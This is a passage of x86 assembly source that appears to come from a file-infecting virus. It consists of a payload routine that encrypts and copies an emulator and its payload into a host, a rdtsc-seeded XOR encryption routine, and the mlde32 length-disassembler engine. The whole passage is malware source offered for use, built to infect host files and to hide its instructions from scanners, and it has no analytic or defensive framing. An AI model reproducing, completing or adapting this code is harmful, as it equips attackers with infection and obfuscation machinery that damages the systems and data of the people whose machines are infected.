    lea     esi, [esi + 8 + (OFFSET vm_end - OFFSET vm_intro)]
    push    esi
    mov     edi, ep_end_of_copied_emu
    lea     edi, [edi + 8]
    mov     ecx, [esi - 4]                              ; Total amount of instructions
    mov     ep_total_insts, ecx
    rep     movsb

;   Prepare for copying payload   
    mov     DWORD PTR [edi], 0deadbeefh
    add     edi, 4
    add     esi, 4                                      ; esi now points to local payload
    mov     edx, ep_host_vm_base
    lea     edx, [edx + ((OFFSET vm_end - OFFSET vm_intro) + 8)]
    xchg    edx, esi
    mov     edx, ep_delta_addr
    
;   esi = instruction length counter, edi = remote payload, edx = host payload
@ep_copy:

;   Get length of local payload
    xor     eax, eax
    lodsb
    push    eax

;   Copy instruction to working buffer
    mov     ecx, eax
    mov     ebx, ep_workingbuffer
@ep_copy_to_work_buffer:
    mov     BYTE PTR al, [edx]                          ; Copy one byte of instruction into buffer
    mov     BYTE PTR [ebx], al
    inc     edx
    inc     ebx
    dec     ecx
    test    ecx, ecx
    jne     @ep_copy_to_work_buffer  

;   Encrypt instruction
    pop     ecx
    pusha
    and     ebx, 0ffff0000h
    mov     esi, ebx
    mov     edx, ep_key                                 ; Encryption key
@ep_enc:
    test    edx, edx
    jne     ep_enc_1
    mov     edx, ep_key
ep_enc_1:
    lodsb                                               ; Load instruction byte
    xor     al, dl
    mov     BYTE PTR [esi - 1], al
    shr     edx, 8
    dec     ecx
    test    ecx, ecx
    jne     @ep_enc
    popa

;   Copy from working buffer to remote host
    and     ebx, 0ffff0000h                             ; Set working buffer to byte 0, (beginning of encrypted inst)
    xchg    esi, ebx
    rep     movsb                                       ; Copy instruction
    xchg    ebx, esi
    mov     ecx, ep_total_insts
    dec     ecx
    mov     ep_total_insts, ecx
    test    ecx, ecx
    jne     @ep_copy

;   Stamp key into emulator
    mov     ebx, ep_remote_vm_base
    lea     ebx, [ebx + 1 + (OFFSET vm_dec_key - OFFSET vm_intro)]
    mov     eax, ep_key
    mov     [ebx], eax
    add     esp, 36

    ret






ep_zero_win32finddata:
    pusha
    mov     edi, ep_win32finddata
    mov     ecx, 1000h
    xor     al, al
    rep     stosb
    popa
    ret

    nop
    nop
    nop
    nop
payload_end:


 [ ############################### payload.asm ############################### ]
 [ ############################### vm_enc.asm ############################### ]
;   Encryption/Decryption routines - nothing special here :P
;   some basic xor crap. 

vm_enc:
;   esi = ptr to instruction length counter
;   edi = ptr to buffer to be encrypted


;   Generate encryption keys
    pusha
    rdtsc
    mov     ebx, eax
    mov     ecx, eax
    and     ecx, 00ffffffh
@vm_enc_key:
    nop
    loop    @vm_enc_key
    rdtsc   
    xor     eax, ebx                                    ; Contains key
    xor     eax, 0ffffffffh                             ; No byte can be zero
    ;mov     eax, 0                                     ; This will override the key to be 0, so no encryption
    mov     vm_key, eax

;   Main encryption loop
    mov     ebx, eax
    xor     ecx, ecx
    cld
    lodsb                                               ; Load instruction length
    mov     cl, al                                      ; Loop counter
@vm_enc:

;   Check if the key has been fully shifted
    test    ebx, ebx
    jne     vm_enc_key_ok
    mov     ebx, vm_key                                 ; Restore key
vm_enc_key_ok:
    xchg    esi, edi
    lodsb                                               ; Load byte to be encrypted
    xor     al, bl                                      ; Xor
    xchg    esi, edi
    dec     edi
    stosb                                               ; Store encrypted byte
    shr     ebx, 8                                      ; Shift to next byte
    loop    @vm_enc

    mov     ebx, vm_key
    lodsb                                               ; Load instruction length
    mov     cl, al                                      ; Loop counter
    cmp     al, 0efh                                    ; Have we reached the end?
    jne     @vm_enc                                     ; Encrypt next instruction

vm_exit:
    popa
    ret

;   Per instruction decryption routine
; vm_dec


    nop
    nop
    nop
    popa
    ret

 [ ############################### vm_enc.asm ############################## ]

 [ ############################### mlde32.asm ############################## ]
;*******************************************
;* (X) uNdErX 2003 - underx@antisocial.com *
;*******************************************
;* Micro Length-Disassembler Engine 32     *
;*                                         *
;* release v1.0             05/01/2003     *
;*                                         *
;*******************************************

       ;p386
       ;locals @@

       ;****************
       ;* Opcode types *
       ;****************
       O_UNIQUE      equ     0
       O_PREFIX      equ     1
       O_IMM8        equ     2
       O_IMM16       equ     3
       O_IMM24       equ     4
       O_IMM32       equ     5
       O_IMM48       equ     6
       O_MODRM       equ     7
       O_MODRM8      equ     8
       O_MODRM32     equ     9
       O_EXTENDED    equ    10
       O_WEIRD       equ    11
       O_ERROR       equ    12

       .code

       public C mlde32
       ; int __cdecl mlde32(void *codeptr);
mlde32:
       pushad

       cld
       xor  edx, edx

       mov  esi, [esp+(8*4)+4]
       mov  ebp, esp

       ; 256 bytes, index-compressed opcode type table
       push 01097F71Ch
       push 0F71C6780h
       push 017389718h
       push 0101CB718h
       push 017302C17h
       push 018173017h
       push 0F715F547h
       push 04C103748h
       push 0272CE7F7h
       push 0F7AC6087h
       push 01C121C52h
       push 07C10871Ch
       push 0201C701Ch
       push 04767602Bh
       push 020211011h
       push 040121625h
       push 082872022h
       push 047201220h
       push 013101419h
       push 018271013h
       push 028858260h
       push 015124045h       
       push 05016A0C7h
       push 028191812h
       push 0F2401812h
       push 019154127h
       push 050F0F011h
       mov  ecx, 015124710h
       push ecx
       push 011151247h
       push 010111512h
       push 047101115h
       mov  eax, 012472015h
       push eax
       push eax
       push 012471A10h
       add  cl, 10h
       push ecx
       sub  cl, 20h
       push ecx

       xor  ecx, ecx
       dec  ecx

       ; code starts
@@ps:  inc  ecx
       mov  edi, esp
@@go:  lodsb
       mov  bh, al
@@ft:  mov  ah, [edi]
       inc  edi
       shr  ah, 4
       sub  al, ah
       jnc  @@ft

       mov  al, [edi-1]
       and  al, 0Fh

       cmp  al, O_ERROR
       jnz  @@i7
       
       pop  edx
       not  edx

@@i7:  inc  edx
       cmp  al, O_UNIQUE
       jz   @@t_exit

       cmp  al, O_PREFIX
       jz   @@ps

       add  edi, 51h          ;(@@_ettbl - @@_ttbl)

       cmp  al, O_EXTENDED
       jz   @@go

       mov  edi, [ebp+(8*4)+4]

@@i6:  inc  edx
       cmp  al, O_IMM8
       jz   @@t_exit
       cmp  al, O_MODRM
       jz   @@t_modrm
       cmp  al, O_WEIRD
       jz   @@t_weird

@@i5:  inc  edx
       cmp  al, O_IMM16
       jz   @@t_exit
       cmp  al, O_MODRM8
       jz   @@t_modrm

@@i4:  inc  edx
       cmp  al, O_IMM24
       jz   @@t_exit

@@i3:  inc  edx
@@i2:  inc  edx

       pushad
       mov  al, 66h
       repnz scasb
       popad
       jnz  @@c32

@@d2:  dec  edx
       dec  edx

@@c32: cmp  al, O_MODRM32
       jz   @@t_modrm
       sub  al, O_IMM32
       jz   @@t_imm32

@@i1:  inc  edx

@@t_exit:
       mov  esp, ebp
       mov  [esp+(7*4)], edx
       popad
       ret

;*********************************
;* PROCESS THE MOD/RM BYTE       *
;*                               *
;*   7    6 5          3 2    0  *
;*   | MOD | Reg/Opcode | R/M |  *
;*                               *
;*********************************
@@t_modrm:
       lodsb
       mov  ah, al
       shr  al, 7
       jb   @@prmk
       jz   @@prm

       add  dl, 4

       pushad
       mov  al, 67h
       repnz scasb
       popad
       jnz  @@prm

@@d3:  sub  dl, 3

       dec  al
@@prmk:jnz  @@t_exit
       inc  edx
       inc  eax
@@prm:
       and  ah, 00000111b

       pushad
       mov  al, 67h
       repnz scasb
       popad
       jz   @@prm67chk

       cmp  ah, 04h
       jz   @@prmsib

       cmp  ah, 05h
       jnz  @@t_exit

@@prm5chk:
       dec  al
       jz   @@t_exit
@@i42: add  dl, 4
       jmp  @@t_exit

@@prm67chk:
       cmp  ax, 0600h
       jnz  @@t_exit
       inc  edx
       jmp  @@i1

@@prmsib:
       cmp  al, 00h
       jnz  @@i1
       lodsb
       and  al, 00000111b
       sub  al, 05h
       jnz  @@i1
       inc  edx
       jmp  @@i42

;****************************
;* PROCESS WEIRD OPCODES    *
;*                          *
;* Fucking test (F6h/F7h)   *
;*                          *
;****************************
@@t_weird:
       test byte ptr [esi], 00111000b
       jnz  @@t_modrm

       mov  al, O_MODRM8

       shr  bh, 1
       adc  al, 0
       jmp  @@i5

;*********************************
;* PROCESS SOME OTHER SHIT       *
;*                               *
;* Fucking mov (A0h/A1h/A2h/A3h) *
;*                               *
;*********************************
@@t_imm32:
       sub  bh, 0A0h

       cmp  bh, 04h
       jae  @@d2

       pushad
       mov  al, 67h
       repnz scasb
       popad
       jnz  @@chk66t

@@d4:  dec  edx
       dec  edx

@@chk66t:
       pushad
       mov  al, 66h
       repnz scasb
       popad
       jz   @@i1
       jnz  @@d2


 [ ############################### mlde32.asm ############################## ]